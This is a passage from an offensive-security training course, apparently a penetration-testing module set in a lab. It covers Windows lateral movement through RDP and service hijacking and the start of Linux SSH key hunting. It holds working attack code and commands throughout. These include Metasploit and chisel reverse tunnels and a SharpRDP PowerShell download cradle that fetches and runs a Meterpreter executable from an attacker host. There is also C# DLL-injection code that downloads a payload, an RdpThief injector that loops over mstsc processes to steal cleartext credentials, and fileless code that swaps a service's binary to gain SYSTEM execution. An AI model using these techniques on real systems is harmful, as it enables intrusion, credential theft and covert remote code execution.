Meterpreter session and use that with a SOCKS proxy[746] as shown
in Listing 9.

msf5 exploit(multi/handler) > use multi/manage/autoroute

msf5 post(multi/manage/autoroute) > set session 1
session => 1

msf5 post(multi/manage/autoroute) > exploit

[!] SESSION may not be compatible with this module.
[*] Running module against CLIENT
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.168.120.0/255.255.255.0 from host's routing table.
[*] Post module execution completed

msf5 post(multi/manage/autoroute) > use auxiliary/server/socks4a

msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
srvhost => 127.0.0.1

msf5 auxiliary(server/socks4a) > exploit -j
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

Listing 9 - Autoroute and SOCKS proxy in Metasploit

The autoroute module creates a reverse tunnel and allows us to
direct network traffic into the appropriate subnet.

Since there is no firewall or NAT in this lab, a tunnel is not
required, but we can still practice the concepts.

We can use a local proxy application like Proxychains[747]
to force TCP traffic through a TOR or SOCKS proxy. We can configure
it by adding the SOCKS4 proxy IP and port to the config file
(/etc/proxychains.conf):

kali@kali:~$ sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf' 

Listing 10 - Configuring Proxychains for reverse tunnel

After configuring Proxychains, we'll start it along with
rdesktop and supply the internal IP address as shown in Listing
11.

kali@kali:~$ proxychains rdesktop 192.168.120.10
ProxyChains-3.1 (http://proxychains.sf.net)
Autoselecting keyboard map 'en-us' from locale
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.120.10:3389-<><>-OK
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.120.10:3389-<><>-OK
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.

Listing 11 - Remote Desktop is proxied
through the tunnel

After running the command, the RDP connection is established through
the SOCKS proxy from the Meterpreter session, allowing us to obtain a
Remote Desktop session on the internal client.

The route created by Meterpreter also allows us to access any other
computer on that internal network.

Proxychains can be used with many other applications. For example,
we can use Nmap to conduct an internal network scan or Firefox to
browse internal web sites.

In this section we used the proxy functionality of Metasploit to set
up a reverse tunnel. Next we'll use a standalone tool for this.

Exercise

  1. Configure a reverse tunnel with Metasploit and get RDP access to
    the Windows 10 client machine.

Reverse RDP Proxying with Chisel

It is relatively easy to set up a reverse tunnel with "autorouting"
features included in frameworks like Metasploit or Cobalt Strike.
However, in some cases we may need to rely on a standalone application
when using products like PowerShell Empire or Covenant.

The traditional tool of choice for this is the command line
version of putty[748] called plink. However, we'll leverage
Chisel,[749] which is a more modern tool.

Chisel is an open-source tunneling software written in
Golang.[750] It works by setting up a TCP tunnel and performing
data transfers over HTTP, while securing it with SSH. Chisel contains
both client and server components and creates a SOCKS-compliant proxy.

We can compile the chisel executables ourselves but to do that, we
must first install Golang on our Kali machine with apt.

kali@kali:~$ sudo apt install golang
[sudo] password for kali: 
Reading package lists... Done
...
Need to get 65.7 MB of archives.
After this operation, 331 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
...

Listing 12 - Installing Golang on Kali Linux

Next, we'll clone the chisel project from GitHub as demonstrated in
Listing 13.

kali@kali:~$ git clone https://github.com/jpillora/chisel.git
Cloning into 'chisel'...
remote: Enumerating objects: 1202, done.
...

Listing 13 - Cloning chisel from GitHub

We need to compile two components of the application. The first is
the server, which will run on our Kali machine and the other is the
client, which will run on Windows. While each component contains the
same functionality, we must compile one executable for each platform.

We can compile chisel on Kali with the go build command as
shown in Listing 14.

kali@kali:~$ cd chisel/

kali@kali:~/chisel$ go build
go: downloading github.com/gorilla/websocket v1.4.2
go: downloading github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5
go: downloading github.com/jpillora/requestlog v1.0.0
...

Listing 14 - Compiling chisel for Linux

With the Linux version compiled, we'll turn to the Windows version. We
can cross-compile chisel for other operating systems and architectures
with the Golang compiler. We'll first specify a 64-bit Windows
executable with the env environment variable[751] command.
We'll then set GOOS and GOARCH to "windows" and
"amd64" respectively.

Next, we'll run go build, specifying the output file name
(-o) and linker arguments[752] (-ldflags "-s
-w"[753]), which will strip debugging information from the
resulting binary:

kali@kali:~/chisel$ env GOOS=windows GOARCH=amd64 go build -o chisel.exe -ldflags "-s -w"

Listing 15 - Compiling chisel for Windows

Now we can use chisel to set up the reverse tunnel. Let's configure
the server first. We'll start chisel in server mode,
specify the listen port with -p and --socks5 to
specify the SOCKS proxy mode.

kali@kali:~/chisel$ ./chisel server -p 8080 --socks5
2020/05/12 15:40:00 server: SOCKS5 server enabled
2020/05/12 15:40:00 server: Fingerprint ae:25:65:f5:6d:fc:c0:26:e0:b5:f8:0a:ec:80:c3:75
2020/05/12 15:40:00 server: Listening on 0.0.0.0:8080...

Listing 16 - Starting chisel in server mode

Next, we'll configure a SOCKS proxy server with the Kali SSH server.

To ease the configuration, we'll first enable password authentication
by uncommenting the appropriate line in the sshd_config
file as shown in Listing 17. After the service is
started, we'll connect to it with ssh and supply -N
to ensure commands are not executed but merely forwarded and
-D to configure a SOCKS proxy.

As subarguments, we must specify the IP and port to configure the
SOCKS proxy. Finally, we'll ssh to the localhost:

kali@kali:~$ sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config

kali@kali:~$ sudo systemctl start ssh.service

kali@kali:~$ ssh -N -D 0.0.0.0:1080 localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:wO34ll4r18sNzXmfmg/H8uLHz97twv0ovhWuFXXxQkE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
kali@localhost's password: 

Listing 17 - Using SSH as a SOCKS proxy

Now that the Kali server is configured, we'll shift our focus to the
chisel client on the Windows 10 target.

First, we'll transfer the compiled Windows version of chisel to the
Windows 10 client machine through the existing reverse shell. After
transferring the file, we can run it as a client, providing
the IP address and port of the server instance of chisel and the
socks option:

C:\Tools> chisel.exe client 192.168.119.120:8080 socks
2020/05/12 14:03:52 client: Connecting to ws://192.168.119.120:8080
2020/05/12 14:03:52 client: proxy#1:127.0.0.1:1080=>socks: Listening
2020/05/12 14:03:52 client: Fingerprint c9:c4:c0:20:57:ff:6f:43:04:d8:3d:c1:a4:2f:31:39
2020/05/12 14:03:53 client: Connected (Latency 117.193ms)

Listing 18 - Starting chisel as client

As highlighted in the last line of Listing 18,
chisel established a connection to our server instance.

Finally, with the tunnel created we can open a RDP session to the
Windows 10 client with proxychains:

kali@kali:~$ sudo proxychains rdesktop 192.168.120.10 
ProxyChains-3.1 (http://proxychains.sf.net)
Autoselecting keyboard map 'en-us' from locale
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.120.10:3389-<><>-OK
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.120.10:3389-<><>-OK

Listing 19 - RDP session is tunneled with chisel

Setting up a reverse tunnel is a lot more work than simply using
a built-in feature but it's still possible and through it, we can
obtain GUI access with RDP in a way that is otherwise not meant to be
possible.

We can also use chisel with the classic reverse SSH tunnel
syntax by specifying the -reverse option instead of
--socks5 on the server side.[754]

In the next section, we'll demonstrate an RDP technique that requires
neither a GUI nor a reverse tunnel.

Exercise

  1. Configure a reverse tunnel with chisel and get RDP access to the
    Windows 10 client machine.

RDP as a Console

Although RDP is most often associated with the mstsc GUI client, it
can also be used as a command-line tool. This technique reduces our
overhead while still relying on the RDP protocol, which will often
blend in well with typical network traffic.

The RDP application (mstsc.exe) builds upon the terminal services
library mstscax.dll.[755] This library exposes
interfaces to both scripts and compiled code through COM objects.

SharpRDP[756]^,[757] is a C# application that uses
uses the non-scriptable interfaces exposed by mstscax.dll to
perform authentication in the same way as mstsc.exe.

Once authentication is performed, SharpRDP allows us to execute
code through SendKeys.[758] In this manner, no GUI access is
required and setting up a reverse tunnel is unnecessary.

To demonstrate this, we'll use the pre-compiled version of
SharpRDP located in C:\Tools. We'll specify the
computername, username, and password along
with the command to be executed. In this example, we'll
simply execute Notepad.

C:\Tools> SharpRDP.exe computername=appsrv01 command=notepad username=corp1\dave password=lab
[-] Logon Error           :  -2 - ARBITRATION_CODE_CONTINUE_LOGON
[+] Connected to          :  appsrv01
[+] User not currently logged in, creating new session
[+] Execution priv type   :  non-elevated
[+] Executing notepad
[+] Disconnecting from    :  appsrv01
[+] Connection closed     :  appsrv01

Listing 20 - Spawning Notepad with SharpRDP

Since this is not terribly useful, we'll extend this example to obtain
a reverse Meterpreter shell. First, we'll generate a Meterpreter
executable and place it in our Apache server web root, then we'll set
up msfconsole to catch the shell.

Finally, we'll use SharpRDP to execute a PowerShell download cradle
on appsrv01 that pulls the Meterpreter executable and subsequently
executes it with stacked commands:

C:\Tools> sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\dave password=lab
[-] Logon Error           :  -2 - ARBITRATION_CODE_CONTINUE_LOGON
[+] Connected to          :  appsrv01
[+] User not currently logged in, creating new session
[+] Execution priv type   :  non-elevated
[+] Executing powershell (new-object system.net.webclient).downloadfile('http://192.168.119.120/met.exe', 'c:\windows\tasks\met.exe'); c:\windows\tasks\met.exe
[+] Disconnecting from    :  appsrv01
[+] Connection closed     :  appsrv01

Listing 21 - Spawning a reverse Meterpreter shell through SharpRDP

This results in a Meterpreter shell on our Kali machine as displayed
in Listing 22:

msf5 exploit(multi/handler) > exploit

[*] Started HTTP reverse handler on http://192.168.119.120:443
[*] http://192.168.119.120:443 handling request from 192.168.120.6; (UUID: nwv7gu7a) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.6:52261)

Listing 22 - Reverse Meterpreter shell

Very nice. We can use this technique to perform command line lateral
movement through RDP with SharpRDP without the need for GUI access.

Exercise

  1. Repeat the steps in this section to get a reverse Meterpreter shell
    through the use of SharpRDP.

Stealing Clear Text Credentials from RDP

At this point, we have covered multiple techniques that leverage
features of RDP for lateral movement purposes. In this section, we'll
demonstrate how to recover the clear text credentials that are used
when a RDP session is initiated.

Keyloggers are often used to capture clear text credentials.
However, it can be difficult to isolate passwords with a generic
keylogger and lengthy sessions can result in very verbose output,
which can be difficult to parse.

When a user creates a Remote Desktop session with mstsc.exe,
they enter clear text credentials into the application. In this
section, we are going to analyze an application that can detect and
dump these credentials from memory for us, effectively working as a
more targeted keylogger.

This technique relies on the concept of API hooking.[759] In
an earlier module, we used Frida to monitor API calls. We can use
similar techniques to modify APIs and redirect execution to custom
code.

As a basic theoretical example, let's imagine that we are able to
hook the WinExec[760] API, which can be used to start a new
application. The function prototype of WinExec is shown in Listing
23.

UINT WinExec(
  LPCSTR lpCmdLine,
  UINT   uCmdShow
);

Listing 23 - Funciton prototype of WinExec

The first argument (lpCmdLine) is an input buffer that will contain
the name of the application we want to launch.

If we are able to pause the execution flow of an application when the
API is invoked (like a breakpoint in WinDbg), we could redirect the
execution flow to custom code that writes a different application name
into the input buffer. Continuing execution would trick the API into
starting a different application than the one intended by the user.

Likewise, we could execute custom code that copies the content of the
input buffer, return it to us, and continue execution unaltered. This
effectively steals information from the application and returns it to
us.

One way to do this outside of a debugger is to perform API hooking.
Instead of pausing execution, we could overwrite the initial
instructions of an API at the assembly level with code that transfers
execution to any custom code we want. The Microsoft-provided unmanaged
Detours library[761] makes this possible and would allow an
attacker to leak information from any API.

Our goal is to leverage API hooking to steal the clear text
credentials entered into mstsc when they are processed by relevant
APIs. MDSec[762] discovered that the APIs responsible
for handling the username, password, and domain are
CredIsMarshaledCredentialW,[763] CryptProtectMemory,[764]
and SspiPrepareForCredRead[765] respectively.

As a result of this research, they released RdpThief,[766]
which uses Detours to hook these APIs. The hooks in this tool will
execute code that copies the username, password, and domain to a file.
Finally, RdpThief allows the original code execution to continue as
intended.

RdpThief is written as an unmanaged DLL and must be injected into an
mstsc.exe process before the user enters the credentials.

Let's demonstrate RdpThief, reusing our knowledge of DLL
injection from previous modules. We'll open the C# console project
containing our existing DLL injection code as shown in Listing
24.

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\met.dll";

            WebClient wc = new WebClient();
            wc.DownloadFile("http://192.168.119.120/met.dll", dllName);

            Process[] expProc = Process.GetProcessesByName("explorer");
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
    }
}

Listing 24 - DLL injection code

We'll obviously need to modify this code. First, we'll need a compiled
version of the RdpThief DLL, which is located on the appsrv01 machine
in the C:\Tools folder.

To make our proof of concept work, we'll update the code in Listing
24 to use the static path of the RdpThief DLL. In
addition, we want to locate the "mstsc" process instead of "explorer",
which gives us this updated code:

static void Main(string[] args)
{
  String dllName = "C:\\Tools\\RdpThief.dll";
  Process[] mstscProc = Process.GetProcessesByName("mstsc");
  int pid = mstscProc[0].Id;

  IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
  IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
  IntPtr outSize;
  Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
  IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}

Listing 25 - Injection code for RdpThief

To test this out, we'll compile the C# project, log in to appsrv01 as
dave, and copy the executable to C:\Tools.

Next, we start mstsc.exe followed by our C# console
application.

Finally, we'll use mstsc to log in to dc01 as the admin user then
dump the contents of the RdpThief output file to find the clear text
credentials.

C:\Tools> mstsc.exe

C:\Tools> Inject.exe

C:\Tools> type C:\Users\dave\AppData\Local\Temp\6\data.bin
S e r v e r :   d c 0 1
 U s e r n a m e :   c o r p 1 \ a d m i n
 P a s s w o r d :   l a b

 S e r v e r :   d c 0 1
 U s e r n a m e :   c o r p 1 \ a d m i n
 P a s s w o r d :   l a b

Listing 26 - Dumping credentials from mstsc.exe

Note that the username in the output path is dynamically resolved and
the numbered subdirectory at the end of the path is the session ID.

While this technique presents us with the user's username, domain,
and password in clear text, we must know when an mstsc.exe process is
started and launch our C# console application before the user enters
the credentials.

To improve on this, we can modify our injection code further to
automatically detect when an instance of mstsc is started and then
inject into it.

We'll implement this with an infinitely-running while loop. With
each iteration of the loop, we'll discover all instances of mstsc.exe
and subsequently perform an injection into each of them.

Finally, we'll use the Thread.Sleep[290-1] method to pause for
one second between each iteration. To use this method, we must first
import the System.Threading namespace with the using statement.

using System.Threading;
...
static void Main(string[] args)
{
  String dllName = "C:\\Tools\\RdpThief.dll";
  while(true)
  {
    Process[] mstscProc = Process.GetProcessesByName("mstsc");
    if(mstscProc.Length > 0)
    {
      for(int i = 0; i < mstscProc.Length; i++)
      {
        int pid = mstscProc[i].Id;

        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        IntPtr outSize;
        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
        IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
      }
    }
                   
    Thread.Sleep(1000);
  }
}

Listing 27 - Injecting RdpThief into any
spawned mstsc process

Once we execute the updated C# console application, it will detect
any running instances of mstsc and inject the RdpThief DLL into them
before the user enters the credentials.

In this section, we have leveraged research that allows us to capture
the clear text passwords used on a compromised workstation when a
Remote Desktop instance is started.

Exercises

  1. Repeat the attack in this section and obtain clear text
    credentials.

Fileless Lateral Movement

As mentioned previously, there are only a small number of lateral
movement techniques available on a Windows system that do not rely
on vulnerabilities. Some, like PsExec and DCOM, require that services
and files are written on the target system. Other techniques, such
as PSRemoting, require ports to be open in the firewall that are not
always permitted by default.

In the following sections, we are going to discuss and implement a
variant of PsExec that neither writes a file to disk nor creates an
additional service to obtain code execution, both of which may aid in
bypassing detection.

Authentication and Execution Theory

Let's take some time to discuss how PsExec, a part of the Sysinternals
suite, works. At a high level, PsExec authenticates to SMB[767]
on the target host and accesses the DCE/RPC[768] interface. PsExec
will use this interface to access the service control manager, create
a new service, and execute it. As part of the attack, the binary that
is executed by the service is copied to the target host.

In this section, we'll leverage an attack[769] that operates in
a similar way. However, we will execute our code without registering a
new service and we'll use our previous tradecraft to do this without
writing a file to disk.

This technique involves two main tasks. First, our code must
authenticate to the target host. Following that, it must execute the
desired code. Authentication to the DCE/RPC interface and the service
control manager is handled by the unmanaged OpenSCManagerW[770]
API.

The function prototype of OpenSCManagerW is shown in Listing
28.

SC_HANDLE OpenSCManagerW(
  LPCWSTR lpMachineName,
  LPCWSTR lpDatabaseName,
  DWORD   dwDesiredAccess
);

Listing 28 - Function prototype for OpenSCManagerW

To invoke OpenSCManagerW, we must supply the hostname of the
target (lpMachineName) and the name of the database for the service
control database (lpDatabaseName). Supplying a null value will
use the default database. Finally, we must pass the desired access
(dwDesiredAccess) to the service control manager.

The API is executed in the context of the access token of the
executing thread, which means no password is required.

If authentication is successful, a handle is returned that
is used to interact with the service control manager. PsExec
performs the same actions when invoked, but then it calls
CreateServiceA[771] to set up a new service.

Our approach will be more subversive. We will instead use the
OpenService[772] API to open an existing service and invoke
ChangeServiceConfigA[773] to change the binary that the
service executes.

This will not leave any service creation notifications and may evade
detection. Once the service binary has been updated, we will issue a
call to StartServiceA,[774] which will execute the service
binary and give us code execution on the remote machine.

Since we control the service binary, we can use a PowerShell download
cradle to avoid saving a file to disk. If endpoint protections such
as application whitelisting are in place, this approach may not
be as straightforward and may require a bypass (such as the use of
InstallUtil or an XSL transform).

It is worth noting that since the OpenSCManagerW authentication
API executes in the context of the access token of the thread,
it is very easy to pass the hash with this technique as well.
We could simply use Mimikatz to launch the application with the
sekurlsa::pth command.

Now that we understand the various techniques required, let's
implement this in code.

Implementing Fileless Lateral Movement in C#

To implement this, we'll begin by creating a new C# console
application project. The first API we must call is OpenSCManagerW.
The P/invoke implementation[775] is shown in Listing
29.

[DllImport("advapi32.dll", EntryPoint="OpenSCManagerW", ExactSpelling=true, CharSet=CharSet.Unicode, SetLastError=true)]
    public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

Listing 29 - P/invoke for OpenSCManagerW

From our discussion of the function prototype of OpenSCManagerW, we
know that the first argument is the hostname of the target machine,
or appsrv01 in our case. We'll set the second argument (the database
name) to null and the third argument to the desired access right to
the service control manager. We'll request SC_MANAGER_ALL_ACCESS
(full access), which has a numerical value of 0xF003F.[776]

We can now create a proof of concept that will invoke the API and
perform the authentication:

using System;
using System.Runtime.InteropServices;

namespace lat
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint="OpenSCManagerW", ExactSpelling=true, CharSet=CharSet.Unicode, SetLastError=true)]
    public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

        static void Main(string[] args)
        {
            String target = "appsrv01";
            
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
        }       
    }
}

Listing 30 - Initial proof of concept to
authenticate

Once the authentication is complete, we must open an existing service.
To avoid any issues, we must select a service that is not vital to the
function of the operating system and is not in use by default.

One candidate is SensorService,[777] which manages
various sensors. This service is present on both Windows 10 and
Windows 2016/2019 by default but is not run automatically at boot.

The API we need to use is OpenService, which has the following
function prototype:

SC_HANDLE OpenServiceW(
  SC_HANDLE hSCManager,
  LPCWSTR   lpServiceName,
  DWORD     dwDesiredAccess
);

Listing 31 - Function prototype for
OpenServiceW

As the first argument (hSCManager), we must supply the handle
to the service control manager we received from OpenSCManager.
The second parameter (lpServiceName) is the name of the service
("SensorService") and the last argument (dwDesiredAccess) is the
desired access to the service.

We can request full access (SERVICE_ALL_ACCESS), which has
a numerical value of 0xF01FF. To continue, we'll locate the
P/invoke import for OpenService[778] as shown in Listing
32.

[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

Listing 32 - P/invoke for OpenSCManagerW

Now that the import is complete and we understand the arguments we
need to pass, we can update the code to call OpenService:

string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);

Listing 33 - Code to call OpenService

After the SensorService service has been opened, we must
change the service binary with the ChangeServiceConfigA
API. The function prototype for this API is shown in Listing
34.

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

Listing 34 - Function prototype for ChangeServiceConfigA

While the API accepts many arguments, we only need to specify some of
them. The first (hService) is the handle to the service we obtained
from calling OpenService. Next, dwServiceType allows us to specify
the type of the service.

We only want to modify the service binary so we'll specify
SERVICE_NO_CHANGE by its numerical value, 0xffffffff.

We can modify the service start options through the third argument
(dwStartType). Since we want to have the service start once we have
modified the service binary, we'll set it to SERVICE_DEMAND_START
(0x3). As the fourth argument, dwErrorControl will set the
error action and we'll specify SERVICE_NO_CHANGE (0) to avoid
modifying it.

The fifth argument (lpBinaryPathName) contains the path of the
binary that the service will execute when started. This is what we
want to update and as an initial proof of concept, we'll set this to
"notepad.exe".

The final six arguments are not relevant to us and we can set
them to null. The final piece we need is the P/invoke import of
ChangeServiceConfig:[779]

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

Listing 35 - P/invoke for ChangeServiceConfig

At this point, we can update our code to invoke the call with the
discussed arguments:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);

Listing 36 - Code to call ChangeServiceConfig

Once the proof of concept is compiled, we can execute it on the
Windows 10 client in the context of the dave user. This will
change the service binary of SensorService to notepad.exe.
We can log in to appsrv01 and verify this as shown in Figure
6 from the services manager.

Figure 6: SensorService service binary is changed to notepad

The final step is to start the service, which we can do through the
StartService API. The function prototype for this API is relatively
simple as shown in Listing 37.

BOOL StartServiceA(
  SC_HANDLE hService,
  DWORD     dwNumServiceArgs,
  LPCSTR    *lpServiceArgVectors
);

Listing 37 - Function prototype for
StartService

The first argument (hService) is the service handle created by
OpenService. The third argument (*lpServiceArgVectors) is
an array of strings that are passed as arguments to the service.
We do not require any so we can set it to null and then set
dwNumServiceArgs, which is the number of arguments, to 0 as well.

The P/invoke import for StartService[780] is shown in Listing
38.

[DllImport("advapi32", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

Listing 38 - P/invoke for StartService

Finally, we'll add the code to invoke the API:

bResult = StartService(schService, 0, null);

Listing 39 - Code to call StartService

Once this code has been added to the project, we can compile and
execute it in the context of the dave user. On appsrv01, we find the
Notepad process running as SYSTEM:

Figure 7: Notepad started from SensorService service

Since Notepad is not a service executable, the service control manager
will terminate the process after a short period of time, but we have
obtained the code execution we desire.

SCShell,[781] which has been implemented in C#, C, and
Python, takes this a bit farther and weaponizes this technique. It
also uses the QueryServiceConfig[782] API to detect
the original service binary. After we have obtained code execution,
SCShell will restore the service binary back to its original state to
further aid evasion.

In this section, we have discussed and implemented a technique that
expands on PsExec to provide lateral movement without creating a new
service.

Exercises

  1. Repeat the steps in this section to implement the proof of concept
    that executes Notepad on appsrv01.
  2. Use the Python implementation of SCShell (scshell.py) to
    get code execution on appsrv01 directly from Kali using only the NTLM
    hash of the dave user.

Wrapping Up

In this module, we discussed many topics related to lateral movement
in Windows.

We covered various techniques for abusing RDP in lateral movement
both for GUI and console access and even over reverse proxies. We also
discussed credential theft. Finally, we wrapped up with an in-depth
discussion of PsExec and implemented a more stealthy version.

Linux Lateral Movement

While organizations commonly use Windows for workstations and Active
Directory services, the Linux operating system is often used for web
and database servers, infrastructure support, and more. As penetration
testers, it's important to understand how to compromise Linux targets
and then pivot through them.

In this module, we'll demonstrate a variety of Linux-based lateral
movement techniques. First, we'll leverage SSH and demonstrate
how to steal keys and hijack open sessions. We will then explore
large-scale DevOps[783] technologies and leverage both Ansible
and Artifactory. Finally, we'll demonstrate how Kerberos-enabled Linux
systems can create a bridge into Windows domains and leverage this for
lateral movement.

In this module, we have configured the /etc/hosts file
on our Kali machine to resolve the following hostnames with their
corresponding IP addresses:

  • controller: 192.168.120.40
  • linuxvictim: 192.168.120.45
  • dc01.corp1.com: 192.168.120.5

Not every approach discussed in this module requires root access,
but, as is the case with most Windows-based techniques, many lateral
movements require elevated privileges.

Lateral Movement with SSH

SSH[784] is a network protocol and suite of tools used to communicate
between networked systems. It is one of the most commonly-used methods
for communicating between Linux machines.

Although some systems still permit password authentication to
connect to a Linux machine via SSH, many require public key
authentication[785] instead. This method requires a
user-generated public and private key pair. The public key is
stored in the ~/.ssh/authorized_keys file of the server the
user is connecting to. The private key is typically stored in the
~/.ssh/ directory on the system the user is connecting from.

When a user connects to a target server, the SSH client will use
the user's private key (if present) to authenticate with the target
system. If the private key has been protected with a passphrase,
the user must also provide that during the authentication process.
Additionally, the key must be accepted on the target system for the
authentication to succeed.

Private SSH keys are a prime target for an attacker, since they can
provide access to any remote machine that accepts the key. As such,
they are an excellent opportunity for lateral movement.

Let's discuss some basic techniques that can be used to gain access to
a user's private key and demonstrate how these keys can be leveraged.

SSH Keys

Because private keys are obvious targets, there are often additional
protections in place. Typically, a user's SSH key will have
permissions set to 600.[786]

It's possible that during a penetration test, we could find a private
key with weak permissions. Even if we do not have root access to the
machine, it's worth checking the target system in the unlikely event
that a key has been left unprotected.

Let's look for potentially unprotected keys with a simple find command
on our linuxvictim VM.

In Linux, private keys are named id_rsa by default. The
following command won't find files that are named differently, but
it's a good starting point. If we don't have permission to view the
file, we'll receive a "Permission denied" error message.

offsec@linuxvictim:~$ find /home/ -name "id_rsa"
/home/offsec/.ssh/id_rsa
find: ‘/home/linuxvictim/.ssh’: Permission denied
...
find: ‘/home/ansibleadm/.gnupg’: Permission denied
find: ‘/home/ansibleadm/.local/share’: Permission denied

Listing 1 - Finding private keys on the system

There are no keys with insecure permissions on this system, which
should not come as a surprise.

In the next step, since we are discussing lateral movement, we will
assume that we have gained root access to the machine and will
operate with those privileges.

It's not uncommon for users to copy their keys to a different location
than the default /home/username/.ssh/ folder or to have
copies of keys with different names. Because of this, we'll inspect
the /home directory once again and browse other user's files
with our elevated privileges.

If we examine the /home/linuxvictim directory, we note that a
private key with an unconventional name, svuser.key, is
stored there.

root@linuxvictim:/home/linuxvictim# ls -al
total 28
drwxr-xr-x 2 linuxvictim linuxvictim 4096 May 28 14:27 .
drwxr-xr-x 8 root        root        4096 May 28 14:23 ..
-rw------- 1 linuxvictim linuxvictim  270 May 28 14:31 .bash_history
-rw-r--r-- 1 linuxvictim linuxvictim  220 May 28 14:22 .bash_logout
-rw-r--r-- 1 linuxvictim linuxvictim 3771 May 28 14:22 .bashrc
-rw-r--r-- 1 linuxvictim linuxvictim  807 May 28 14:22 .profile
drwx------ 2 linuxvictim linuxvictim 4096 May 28 14:34 .ssh
-rw-------  1 linuxvictim linuxvictim 1766 May 28 14:26 svuser.key

Listing 2 - Found a
private key

Once we have located a private key, we will need to analyze it. As we
mentioned before, an SSH key can be protected with a passphrase.

When generating an SSH key in the terminal in most Linux/Unix
